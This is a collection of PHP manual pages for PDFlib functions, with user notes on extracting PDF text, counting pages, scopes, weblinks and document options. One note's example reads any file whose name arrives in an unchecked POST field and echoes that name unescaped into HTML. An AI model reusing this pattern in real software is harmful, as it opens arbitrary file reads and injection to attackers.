        '/(T[wdcm*])[\s]*(\[([^\]]*)\]|\(([^\)]*)\))[\s]*Tj/si',
        $psData,
        $matches
    );
    for ($i = 0; $i < sizeof($matches[0]); $i++) {
        if ($matches[3][$i] != '') {
            // Run another match over the contents.
            preg_match_all('/\(([^)]*)\)/si', $matches[3][$i], $subMatches);
            foreach ($subMatches[1] as $subMatch) {
                $text .= $subMatch;
            }
        } else if ($matches[4][$i] != '') {
            $text .= ($matches[1][$i] == 'Tc' ? ' ' : '') . $matches[4][$i];
        }
    }

    // Translate special characters and put back brackets.
    $trans = array(
        '...'                => '…',
        '\205'                => '…',
        '\221'                => chr(145),
        '\222'                => chr(146),
        '\223'                => chr(147),
        '\224'                => chr(148),
        '\226'                => '-',
        '\267'                => '•',
        '\('                => '(',
        '\['                => '[',
        '##ENDBRACKET##'    => ')',
        '##ENDSBRACKET##'    => ']',
        chr(133)            => '-',
        chr(141)            => chr(147),
        chr(142)            => chr(148),
        chr(143)            => chr(145),
        chr(144)            => chr(146),
    );
    $text = strtr($text, $trans);

    return $text;

}

?>
28-Aug-2005 09:58
If you want to display the number of pages (for example: page 1 of 3) then the following code could be helpful:

<?php
...

$pdf->begin_page_ext(842,595 , "");
  .. add text,images,...
$pdf->suspend_page("");

$pdf->begin_page_ext(842,595 , "");
  .. add text,images,...
$pdf->suspend_page("");

... create all pages

$pdf->resume_page("pagenumber 1");
... add number of pages to page 1
$pdf->end_page_ext("");

$pdf->resume_page("pagenumber 2");
... add number of pages to page 2
$pdf->end_page_ext("");

...
?>
jorromer at uchile dot cl -- Krash 07-Jun-2005 10:51
I recently use mattb code below for the extraction of text from PDF files. I modify this code for only extract text fields.

Hope i can help some one

Here is the Function

<?php

  $text = pdf2string("file.pdf");
  echo $text;

  function pdf2string($sourcefile){
    $fp = fopen($sourcefile, 'rb');
    $content = fread($fp, filesize($sourcefile));
    fclose($fp);

    $searchstart = 'stream';
    $searchend = 'endstream';
    $pdfdocument = '';
    $pos = 0;
    $pos2 = 0;
    $startpos = 0;

    while( $pos !== false && $pos2 !== false ){
      $pos = strpos($content, $searchstart, $startpos);
      $pos2 = strpos($content, $searchend, $startpos + 1);

      if ($pos !== false && $pos2 !== false){
        if ($content[$pos]==0x0d && $content[$pos+1]==0x0a) $pos+=2;
        else if ($content[$pos]==0x0a) $pos++;

        if ($content[$pos2-2]==0x0d && $content[$pos2-1]==0x0a) $pos2-=2;
        else if ($content[$pos2-1]==0x0a) $pos2--;

        $textsection = substr($content, $pos + strlen($searchstart) + 2, $pos2 - $pos - strlen($searchstart) - 1);
        $data = @gzuncompress($textsection);
        $data = ExtractText2($data);
        $startpos = $pos2 + strlen($searchend) - 1;

        if ($data === false){
          return -1;}

        $pdfdocument .= $data;}}
   return $pdfdocument;}

function ExtractText2($postScriptData){
  $sw = true;
  $textStart = 0;
  $len = strlen($postScriptData);

  while ($sw){
    $ini = strpos($postScriptData, '(', $textStart);
    $end = strpos($postScriptData, ')', $textStart+1);
    if (($ini>0) && ($end>$ini)){
      $valtext = strpos($postScriptData,'Tj',$end+1);
      if ($valtext == $end + 2)
        $text .= substr($postScriptData,$ini+1,$end - $ini - 1);}

    $textStart = $end + 1;
    if ($len<=$textStart) $sw=false;

    if (($ini == 0) && ($end == 0)) $sw=false;}

  $trans = array("\\341" => "a","\\351" => "e","\\355" => "i","\\363" => "o","\\223" => "","\\224" => "");
  $text  = strtr($text, $trans);
  return $text;
}
?>
webadmin at secretscreen dot com 05-Apr-2005 02:51
I found this info about pdflib scope on a Chinese (I think) site and translated it.  I was trying to do pdf_setfont and kept getting the wrong scope error.  Turns out it has to be in the Page scope.  So pdf_setfont will only work when called between pdf_begin_page and pdf_end_page.

#########################################
When API of the PDFlib is called, the error, Can't - IN 'document' scope occurs
There is a concept of " the scope " in the PDFlib, as for all API of the PDFlib it is called with some scope, the *1 which is decided This error occurs when it is called other than the scope where API is appointed. The chart below in reference, please verify API call position.

Path: PDF_moveto (), PDF_circle (), PDF_arc (), PDF_arcn (), PDF_rect () in each case PDF_stroke (), PDF_closepath_stroke (), PDF_fill (), PDF_fill_stroke (), PDF_closepath_fill_stroke (), PDF_clip (), PDF_endpath () the between

Page: PDF_begin_page () with PDF_end_page () in between outside path

Template: PDF_begin_template () with PDF_end_template () in between outside path

Pattern: PDF_begin_pattern () with PDF_end_pattern () in between outside path

Font: PDF_begin_font () with PDF_end_font () in between outside glyph

Glyph: PDF_begin_glyph () with PDF_end_glyph () in between outside path

Document: PDF_open_* () with PDF_close () in between outside page tempalte and pattern

Object: The PDF_new () with the PDF_delete () it belongs to the other no scope in between the place

Null: Outside object

Any: All scopes other than

##########################################

Hope this helps others as much as it helped me!!!
chu61 dot tw at gmail dot com 06-Mar-2005 07:57
How to get how many pages in a PDF? I read PDF spec. V1.6 and find this:

PDF set  a "Page Tree Node" to define the ordering of pages in the document. The tree structure allows PDF applications, using little memory to quickly open a document containing thousands of pages.

If a PDF have 63 pages, the page tree node will like this...

2 0 obj
<< /Type /Pages
    /Kidsn [ 4 0 R
               10 0 R
             ]
     /Count 63        <---- YES, got it
>>
endobj

[P.S]   a  PDF may not only a pages tree node, The right answer is in "root page tree node", if  /Count XX with  /Parent XXX node, it not "root page tree node"

SO, You must find the node with /Count XX and Without /Parent  terms, and you'll get total pages of PDF

%PDF-1.0  ~  %PDF-1.5 all works

Alex form Taipei,Taiwan
mattb at bluewebstudios dot com 04-Feb-2005 01:44
I recently tested Donatas' code below for the extraction of text from PDF files.  After running into a few problems where PDF files were not being read at all, I've modified it somewhat.  It still isn't perfect, but should work great for searching.  Thanks Donatas.

<?php
$test = pdf2string("<pathtoPDFfile>");
echo "$test";

# Returns a -1 if uncompression failed
function pdf2string($sourcefile)
{
   $fp = fopen($sourcefile, 'rb');
   $content = fread($fp, filesize($sourcefile));
   fclose($fp);

   # Locate all text hidden within the stream and endstream tags
   $searchstart = 'stream';
   $searchend = 'endstream';
   $pdfdocument = "";

   $pos = 0;
   $pos2 = 0;
   $startpos = 0;
   # Iterate through each stream block
   while( $pos !== false && $pos2 !== false )
   {
      # Grab beginning and end tag locations if they have not yet been parsed
      $pos = strpos($content, $searchstart, $startpos);
      $pos2 = strpos($content, $searchend, $startpos + 1);
      if( $pos !== false && $pos2 !== false )
      {
         # Extract compressed text from between stream tags and uncompress
         $textsection = substr($content, $pos + strlen($searchstart) + 2, $pos2 - $pos - strlen($searchstart) - 1);
         $data = @gzuncompress($textsection);
         # Clean up text via a special function
         $data = ExtractText($data);
         # Increase our PDF pointer past the section we just read
         $startpos = $pos2 + strlen($searchend) - 1;
         if( $data === false ) { return -1; }
         $pdfdocument = $pdfdocument . $data;
      }
   }

   return $pdfdocument;
}

function ExtractText($postScriptData)
{
   while( (($textStart = strpos($postScriptData, '(', $textStart)) && ($textEnd = strpos($postScriptData, ')', $textStart + 1)) && substr($postScriptData, $textEnd - 1) != '\\') )
   {
      $plainText .= substr($postScriptData, $textStart + 1, $textEnd - $textStart - 1);
      if( substr($postScriptData, $textEnd + 1, 1) == ']' ) // This adds quite some additional spaces between the words
      {
         $plainText .= ' ';
      }

      $textStart = $textStart < $textEnd ? $textEnd : $textStart + 1;
   }

   return stripslashes($plainText);
}
?>
michi (Alt+Q) marel.at 01-Jul-2004 07:10
<?PHP
/* A little helpful function to calculate millimeters to points */
function calcToPt($intMillimeter) {
  $intPoints = ($intMillimeter*72)/25.4;
  $intPoints = round($intPoints);
  return $intPoints;
}

/* For example: Create DIN A4 210x297 mm */
pdf_begin_page( $pdf, calcToPt(210), calcToPt(297)); // 595x842 pt
?>
donatas at spurgius dot com 22-Jun-2004 12:56
I've been looking for a way to extract plain text from PDF documents (needed to search for text inside 'em). Not being able to find one I wrote the needed functions myself. here you go folks.

<?php
  function pdf2string ($sourceFile)
  {
    $textArray = array ();
    $objStart = 0;

    $fp = fopen ($sourceFile, 'rb');
    $content = fread ($fp, filesize ($sourceFile));
    fclose ($fp);

    $searchTagStart = chr(13).chr(10).'stream';
    $searchTagStartLenght = strlen ($searchTagStart);

    while ((($objStart = strpos ($content, $searchTagStart, $objStart)) && ($objEnd = strpos ($content, 'endstream', $objStart+1))))
    {
      $data = substr ($content, $objStart + $searchTagStartLenght + 2, $objEnd - ($objStart + $searchTagStartLenght) - 2);
      $data = @gzuncompress ($data);

      if ($data !== FALSE && strpos ($data, 'BT') !== FALSE && strpos ($data, 'ET') !== FALSE)
      {
        $textArray [] = ExtractText ($data);
      }

      $objStart = $objStart < $objEnd ? $objEnd : $objStart + 1;
    }

    return $textArray;
  }

  function ExtractText ($postScriptData)
  {
    while ((($textStart = strpos ($postScriptData, '(', $textStart)) && ($textEnd = strpos ($postScriptData, ')', $textStart + 1)) && substr ($postScriptData, $textEnd - 1) != '\\'))
    {
      $plainText .= substr ($postScriptData, $textStart + 1, $textEnd - $textStart - 1);
      if (substr ($postScriptData, $textEnd + 1, 1) == ']') //this adds quite some additional spaces between the words
      {
        $plainText .= ' ';
      }

      $textStart = $textStart < $textEnd ? $textEnd : $textStart + 1;
    }

    return stripslashes ($plainText);
  }
?>
uwe at steinmann dot cx 13-May-2004 06:25
Those looking for a free replacement of pdflib may consider
pslib at http://pslib.sourceforge.net which produces PostScript but it can be easily turned into PDF by Acrobat Distiller or ghostscript. The API is very similar and even hypertext functions are supported. There
is also a php extension for pslib in PECL, called ps.
samcontact at myteks dot com 01-May-2004 04:28
Here is another great tutorial on basic PDF building w/ PHP:
http://hotwired.lycos.com/webmonkey/02/20/index3a.html?tw=programming

=======================
http://myteks.com
Computer Repair & Web Design
=======================
SenorTZ senortz at nospam dot yahoo dot com 28-Jul-2003 06:23
About creating a PDF document based on the content of another document(let's say a text file):

I have tried to send to the PDF-creator page from a link from the sender page the file name of the file I want to read the content from and generate the PDF document containing this content. The idea is is that when I tried to reffer the pdf-creator page via the link your_root/create_pdf.php?filename=$your_file_name, the pdf-creator page does not behave well when before creating the pdf document I have a line like $filename = $_GET["filename"].
I solved this using on the sender page instead of the link a form with a button, so the form has as action "create_pdf.php", as method "post" and a hidden field containing the "filename" value. And it works like this if, on the pdf-creator page I have a line like $filename = $_POST["filename"].

I would like to understand why this way it works and the other way does not.

I hope this helps. Here are the pieces of code I used.

Sender page:
print("<form name='to_pdf' action='see_pdf_file.php' method='post'>");
print("<br/><input type='submit' value='PDF'><input type='hidden' name='filename' value='$filename'></form>");

PDF-creator page:
<?
$filename = $_POST["filename"];
$file_handle = fopen($filename, "r");
$file_content = file_get_contents($filename);
fclose($file_handle);
//
$file_content = wordwrap($file_content,72,"|");
$a_row = explode("|",$file_content);
$i = 0;
//
$pdf = pdf_new();
pdf_open_file($pdf, "");
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 16, "host");
pdf_add_outline($pdf, "Page 1");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, 'The content of the file:',50,700);
while ($a_row[$i] != "")
{
       pdf_continue_text($pdf,$a_row[$i]);
       $i++;
}
pdf_end_page($pdf);
pdf_close($pdf);
//
$data = pdf_get_buffer($pdf);
//
header("Content-type: application/pdf");
header("Content-disposition: inline; filename=test.pdf");
header("Content-length: " . strlen($data));
//
echo $data;
?>

PDFLib and PHP 431 used.

Thanks.
bmironov at jonview dot com 24-Jun-2003 03:46
RedHat 9 + Apache 2.0 + PHP 4.3.2 + Oracle 9i + PDFlib 5.0.1 (binary distribution)

It seems to be a working bundle if you do some magic with ./configure:

RedHat 9:
kernel-2.4.20-18.9

Apache 2.0.46:
./configure --enable-so --enable-rewrite=shared --enable-status --enable-mpm=prefork

PHP 4.3.2:
./configure \
--program-prefix= \
--prefix=/usr \
--exec-prefix=/usr \
--bindir=/usr/bin \
--sbindir=/usr/sbin \
--sysconfdir=/etc \
--datadir=/usr/share \
--includedir=/usr/include \
--libdir=/usr/lib \
--libexecdir=/usr/libexec \
--localstatedir=/var \
--sharedstatedir=/usr/com \
--mandir=/usr/share/man \
--infodir=/usr/share/info \
--with-config-file-path=/etc \
--with-config-file-scan-dir=/etc/php.d \
--without-tsrm-pthreads \    # !!!!!!!!!!!!!!!!!!!!
--with-zlib \
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--without-mysql \
--with-apxs2filter=/usr/local/apache2/bin/apxs \
--with-oci8 \
--enable-sigchild \
--enable-inline-optimization

Oracle9i:
ln -s $ORACLE_HOME/rdbms/public/nzerror.h $ORACLE_HOME/rdbms/demo/nzerror.h

ln -s $ORACLE_HOME/rdbms/public/nzt.h $ORACLE_HOME/rdbms/demo/nzt.h

ln -s $ORACLE_HOME/rdbms/public/ociextp.h $ORACLE_HOME/rdbms/demo/ociextp.h

If you want to use bundled GD-library then:
1) install following packages: libjpeg, libjpeg-devel, libpng, libpng-devel, freetype, freetype-devel, libtiff, libtiff-devel, zlib, zlib-devel

2) ln -s /usr/lib/libjpeg.so.62 /usr/lib/libjpeg.so
ln -s /usr/lib/libpng.so.62 /usr/lib/libpng.so

It seems to be a working combination, because it is NOT give you:
1) error message in Apache's error_log:
Module compiled with module API=20020429, debug=0, thread-safety=0
PHP compiled with module API=20020429, debug=0, thread-safety=1

2) error message in Apache's error_log:
[notice] child pid 12345 exit signal Segmentation fault (11)

3) MS Internet Explorer can show PDF-output from your PHP-script via Acrobat plug-in and does not crush. No confusing messages about opening "Adobe Acrobat Control for ActiveX".

Hope it will save you some time.

Good luck,
Boris
pbierans at lynet dot de 27-Mar-2002 09:56
Load extension, open a PDF, add a font, modify PDF in memory and send
it to browser:

<?php
  // no cache headers:
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", false);
  header("Pragma: no-cache");

  $ext_name="libpdf_php.so";
    // libpdf_php.so is the PDFLIB for SunOS by "PDFlib GmbH"
    // visit http://www.pdflib.com

  // if the extension is not automatically loaded by Apache
  // dl() will try to load it on demand:
  if (!extension_loaded($ext_name) && !@dl($ext_name))
  {
    ?>
    <table width="100%" border="0"><tr><td align="center">
      <table style="border: solid #f0f0f0 2px;"><tr>
        <td valign="middle" style="padding: 20px; margin: 0px;">
          <p style="font-family: arial; font-size: 12px; ">
          <b>Sorry,</b><br>
          &nbsp;<br>
          A PDF can not be generated right now.<br>
          The administrator has been informed and will fix this as
          soon as possible.<br>
          Please try again later.
        </p>
      </td></tr></table>
    </td></tr></table>
    <?php
    mail('admin@domain.com','Error: PDFLib not found',
         'Called by script:\n  '.$SCRIPT_FILENAME.'?'.$QUERY_STRING,
         "From: warnings@domain.com\n");
    exit;
  } // verify that extension is usable

  // unique serial number:
  srand(microtime()*10000);
  $usnr= gmdate("Ymd-His-").rand(1000,9999).'-';
  $pdf_file=$usnr.'result.pdf';
  $src_file='source.pdf';

  // create pdf object
  $pdf = pdf_new();
  pdf_open_file($pdf);
  pdf_set_parameter($pdf, 'serial',      'if-you-have-one');

  // fonts to embed, they are in the folder of this file:
  pdf_set_parameter($pdf, 'FontAFM',     'TradeGothic=Tg______.afm');
  pdf_set_parameter($pdf, 'FontOutline', 'TradeGothic=Tg______.pfb');
  pdf_set_parameter($pdf, 'FontPFM',     'TradeGothic=Tg______.pfm');

  // load the source file:
  $src_doc   =pdf_open_pdi($pdf,$src_file,'', 0);
  $src_page  =pdf_open_pdi_page($pdf,$src_doc,1,'');
  $src_width =pdf_get_pdi_value($pdf,'width' ,$src_doc,$src_page,0);
  $src_height=pdf_get_pdi_value($pdf,'height',$src_doc,$src_page,0);

  pdf_begin_page($pdf, $src_width, $src_height);
  {
    // place the sourcefile to the background of the actual page:
    pdf_place_pdi_page($pdf,$src_page,0,0,1,1);
    pdf_close_pdi_page($pdf,$src_page);

    // modify the page:
    pdf_set_font($pdf, 'TradeGothic', 8, 'host');
    pdf_show_xy($pdf, 'Now: '.gmdate("Y-m-d H:i:s"),50,50);
  }
  pdf_end_page($pdf);
  pdf_close($pdf);

  // prepare output:
  $pdfdata = pdf_get_buffer($pdf); // to echo the pdf-data
  $pdfsize = strlen($pdfdata);     // IE requires the datasize

  // real datatype headers:
  header('Content-type: application/pdf');
  header('Content-disposition: attachment; filename="'.$pdf_file.'"');
  header('Content-length: '.$pdfsize);
  echo $pdfdata;
  exit; // keep this one so no #13#10 or #32 will be written
?>
Basic Usage Examples
PDF_activate_item
PDF


Activate structure element or other content item

PDF Functions
PDF_add_annotation
PDF Functions
PHP Manual

PDF_activate_item

(PECL pdflib >= 2.0.0)

PDF_activate_item — Activate structure element or other content item

Description

bool PDF_activate_item ( resource $pdfdoc , int $id )

Activates a previously created structure element or other content item. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF Functions
PDF_add_annotation
PDF Functions


Add annotation [deprecated]

PDF_activate_item
PDF_add_bookmark
PDF Functions
PHP Manual

PDF_add_annotation

(PHP 4, PECL pdflib >= 1.0.0)

PDF_add_annotation — Add annotation [deprecated]

Description

This function is deprecated, use PDF_create_annotation() with type=Text instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_activate_item
PDF_add_bookmark
PDF Functions


Add bookmark for current page [deprecated]

PDF_add_annotation
PDF_add_launchlink
PDF Functions
PHP Manual

PDF_add_bookmark

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_add_bookmark — Add bookmark for current page [deprecated]

Description

This function is deprecated since PDFlib version 6, use PDF_create_bookmark() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_add_annotation
PDF_add_launchlink
PDF Functions


Add launch annotation for current page [deprecated]

PDF_add_bookmark
PDF_add_locallink
PDF Functions
PHP Manual

PDF_add_launchlink

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_add_launchlink — Add launch annotation for current page [deprecated]

Description

bool PDF_add_launchlink ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $filename )

Adds a link to a web resource.

This function is deprecated since PDFlib version 6,
use PDF_create_action() with
type=Launch and
PDF_create_annotation() with
type=Link instead.

User Contributed Notes

rhys at NOSPAM dot rhysmeister dot com 19-Jul-2004 05:24
pdf_add_launchlink($pdf, 300, 300, 325, 325, "http://www.google.co.uk");

The numbers plot a shape on the page. The first two plot the lower left corner and the next pair plot the upper right hand corner. Links can also be made to the local filesystem.
PDF_add_bookmark
PDF_add_locallink
PDF Functions


Add link annotation for current page [deprecated]

PDF_add_launchlink
PDF_add_nameddest
PDF Functions
PHP Manual

PDF_add_locallink

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_add_locallink — Add link annotation for current page [deprecated]

Description

bool PDF_add_locallink ( resource $pdfdoc , float $lowerleftx , float $lowerlefty , float $upperrightx , float $upperrighty , int $page , string $dest )

Add a link annotation to a target within the current PDF file. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use
PDF_create_action() with type=GoTo
and PDF_create_annotation() with
type=Link instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_add_launchlink
PDF_add_nameddest
PDF Functions


Create named destination

PDF_add_locallink
PDF_add_note
PDF Functions
PHP Manual

PDF_add_nameddest

(PECL pdflib >= 2.0.0)

PDF_add_nameddest — Create named destination

Description

bool PDF_add_nameddest ( resource $pdfdoc , string $name , string $optlist )

Creates a named destination on an arbitrary page in the current document. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_add_locallink
PDF_add_note
PDF Functions


Set annotation for current page [deprecated]

PDF_add_nameddest
PDF_add_outline
PDF Functions
PHP Manual

PDF_add_note

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_add_note — Set annotation for current page [deprecated]

Description

bool PDF_add_note ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $contents , string $title , string $icon , int $open )

Sets an annotation for the current page. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_create_annotation() with type=Text instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_add_nameddest
PDF_add_outline
PDF Functions


Add bookmark for current page [deprecated]

PDF_add_note
PDF_add_pdflink
PDF Functions
PHP Manual

PDF_add_outline

(PHP 4, PECL pdflib >= 1.0.0)

PDF_add_outline — Add bookmark for current page [deprecated]

Description

This function is deprecated, use PDF_create_bookmark() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_add_note
PDF_add_pdflink
PDF Functions


Add file link annotation for current page [deprecated]

PDF_add_outline
PDF_add_table_cell
PDF Functions
PHP Manual

PDF_add_pdflink

(PHP 4, PECL pdflib >= 1.0.0)

PDF_add_pdflink — Add file link annotation for current page [deprecated]

Description

bool PDF_add_pdflink ( resource $pdfdoc , float $bottom_left_x , float $bottom_left_y , float $up_right_x , float $up_right_y , string $filename , int $page , string $dest )

Add a file link annotation to a PDF target. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use
PDF_create_action() with
type=GoToR and
PDF_create_annotation() with
type=Link instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_add_outline
PDF_add_table_cell
PDF Functions


Add a cell to a new or existing table

PDF_add_pdflink
PDF_add_textflow
PDF Functions
PHP Manual

PDF_add_table_cell

(PECL pdflib >= 2.1.0)

PDF_add_table_cell — Add a cell to a new or existing table

Description

int PDF_add_table_cell ( resource $pdfdoc , int $table , int $column , int $row , string $text , string $optlist )

Adds a cell to a new or existing table.

User Contributed Notes

schumy 12-Nov-2007 02:19
Under php_pdf.h & php_pdf4.h, this method is not included. So this won't work currently.

To cross check follow this link,

http://cvs.php.net/viewvc.cgi/pecl/pdf/php_pdf.h?
revision=1.36&view=markup

Regards
schumy
PDF_add_pdflink
PDF_add_textflow
PDF Functions


Create Textflow or add text to existing Textflow

PDF_add_table_cell
PDF_add_thumbnail
PDF Functions
PHP Manual

PDF_add_textflow

(PECL pdflib >= 2.1.0)

PDF_add_textflow — Create Textflow or add text to existing Textflow

Description

int PDF_add_textflow ( resource $pdfdoc , int $textflow , string $text , string $optlist )

Creates a Textflow object, or adds text and explicit options to an existing Textflow.

User Contributed Notes

david 01-Oct-2008 09:19
If you get an error like this:

PHP Fatal error:  Allowed memory size of 16777216 bytes exhausted (tried to allocate 3072 bytes) in /var/www/html/pdf/starter_textflow.php on line 70

It is because you are sending too much data to the "add_textflow" function.  Increasing the memory in the php.ini file won't fix the problem.  The solution is to try buffering the data you send to the function.

For example, if this fails:

<?php
$text=
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. ";

//send lots of data all at once
$max=100;
for($i=0;$i<$max;$i++)
   $text .= $text;

$tf = $p->add_textflow($tf, $text, $optlist1);
?>

Try something like this instead:

<?php
$text=
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. ";

//send chunks of data
$max=100;
for($i=0;$i<$max;$i++)
   $tf = $p->add_textflow($tf, $text, $optlist1);
?>

In the second example we send less data, but we call the function more often.  With the first example, I could only generate 3 or 4 pages of a PDF; with the latter example I could generate 200+ page PDF's.

This took me a while to debug; hope it saves someone else some time. :)
PDF_add_table_cell
PDF_add_thumbnail
PDF Functions


Add thumbnail for current page

PDF_add_textflow
PDF_add_weblink
PDF Functions
PHP Manual

PDF_add_thumbnail

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_add_thumbnail — Add thumbnail for current page

Description

bool PDF_add_thumbnail ( resource $pdfdoc , int $image )

Adds an existing image as thumbnail for the current page. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_add_textflow
PDF_add_weblink
PDF Functions


Add weblink for current page [deprecated]

PDF_add_thumbnail
PDF_arc
PDF Functions
PHP Manual

PDF_add_weblink

(PHP 4, PECL pdflib >= 1.0.0)

PDF_add_weblink — Add weblink for current page [deprecated]

Description

bool PDF_add_weblink ( resource $pdfdoc , float $lowerleftx , float $lowerlefty , float $upperrightx , float $upperrighty , string $url )

Adds a weblink annotation to a target url on the Web. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use
PDF_create_action() with type=URI
and PDF_create_annotation() with
type=Link instead.

User Contributed Notes

rz at daimi dot au dot dk 23-Mar-2005 02:07
Notice that the coordinates given are absolute - they aren't tranformed using the transformation matrix.
The following example shows a simple function that shows an url and adds a weblink.
As illustrated it only works when the page isn't transformed.

<?php
function linkxy($x,$y,$url,$font,$size) {
  global $pdf;
  pdf_setfont($pdf, $font, $size);
  pdf_show_xy($pdf,$url,$x,$y);
  pdf_add_weblink($pdf,
          $x-2,
          $y-2+pdf_get_value($pdf,"descender",$font)*$size,
          $x+2+pdf_stringwidth($pdf,$url,$font,$size),
          $y+2+pdf_get_value($pdf,"ascender",$font)*$size,
          $url);
}
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 421);
$font = PDF_findfont($pdf, "Helvetica", "host", 0);

linkxy(50,300,"http://www.ruf.dk",$font,30);
/* the following does not work, sorry */
pdf_translate($pdf,250,100);
pdf_scale($pdf,0.6,1.2);
linkxy(10,100,"http://www.google.com",$font,30);

pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_delete($pdf);
?>
js at justnet dot com dot au 05-Jun-2002 09:22
The example given in the above comment is potentially confusing, since the 4th and 5th arguments appear to be the width and height of the link area, but are actually the coordinates of the diagonally opposite corner. This is much more evident when the starting point for the weblink is something other than 0,0 (which is of course very likely).

A better example:

$starting_xpos = 100;
$starting_ypos = 150;
pdf_add_weblink($pdf, $starting_xpos, $starting_ypos, $starting_xpos + $width, $starting_ypos + $height, "http://goweb.com.au/");
bob at nijman dot de 02-Aug-2001 07:55
Try this:

<?php

//create & open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");

//the interesting bit...
$pdfimage = pdf_open_image_file($pdf, "jpeg", "test.jpg");
$width = pdf_get_image_width($pdf, $pdfimage);
$height = pdf_get_image_height($pdf, $pdfimage);
pdf_begin_page($pdf, 421, 595);
pdf_place_image($pdf, $pdfimage, 0, 0, 1);
pdf_add_weblink($pdf, 0, 0, $width, $height, "http://www.hackeschermarkt.de");

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
PDF_add_thumbnail
PDF_arc
PDF Functions


Draw a counterclockwise circular arc segment

PDF_add_weblink
PDF_arcn
PDF Functions
PHP Manual

PDF_arc

(PHP 4, PECL pdflib >= 1.0.0)

PDF_arc — Draw a counterclockwise circular arc segment

Description

bool PDF_arc ( resource $p , float $x , float $y , float $r , float $alpha , float $beta )

Adds a counterclockwise circular arc.

User Contributed Notes

There are no user contributed notes for this page.
PDF_add_weblink
PDF_arcn
PDF Functions


Draw a clockwise circular arc segment

PDF_arc
PDF_attach_file
PDF Functions
PHP Manual

PDF_arcn

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_arcn — Draw a clockwise circular arc segment

Description

bool PDF_arcn ( resource $p , float $x , float $y , float $r , float $alpha , float $beta )

Except for the drawing direction, this function behaves exactly like PDF_arc().

User Contributed Notes

There are no user contributed notes for this page.
PDF_arc
PDF_attach_file
PDF Functions


Add file attachment for current page [deprecated]

PDF_arcn
PDF_begin_document
PDF Functions
PHP Manual

PDF_attach_file

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_attach_file — Add file attachment for current page [deprecated]

Description

bool PDF_attach_file ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $filename , string $description , string $author , string $mimetype , string $icon )

Adds a file attachment annotation. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_create_annotation() with type=FileAttachment instead.

User Contributed Notes

ilia at prohost dot org 17-May-2003 04:52
Only the 'Full' Acrobat software will be able to display file attachments. All others will either show nothing or display a question mark.
PDF_arcn
PDF_begin_document
PDF Functions


Create new PDF file

PDF_attach_file
PDF_begin_font
PDF Functions
PHP Manual

PDF_begin_document

(PECL pdflib >= 2.0.0)

PDF_begin_document — Create new PDF file

Description

int PDF_begin_document ( resource $pdfdoc , string $filename , string $optlist )

Creates a new PDF file subject to various options.

User Contributed Notes

daniel at objective-view dot de 09-Mar-2008 04:03
Creating a PDF with a defined PDF-Version (1.6 in this case) works like this:

if (PDF_begin_document($p,  "", "compatibility 1.6") == 0) {
    die("Error: " . PDF_get_errmsg($p));
}
wheatin at gmail dot com 08-Nov-2007 06:43
There doesn't seem to be much documentation on setting options with this function, but here's the format for setting some basic things:

$optlist = "destination={page=1 type=fixed zoom=1 top=100 left=50}";
PDF_begin_document($pdfdoc, $filename, $optlist );

the '=' character can be replaced with a space, but I think '=' makes the code more readable.
Also, you must include 'type=fixed' to use 'zoom','left', or 'top'. You can set 'page' without it, though.
Hope this helps. And if anybody knows a good reference for the options that can be set here and what the format is, please link.
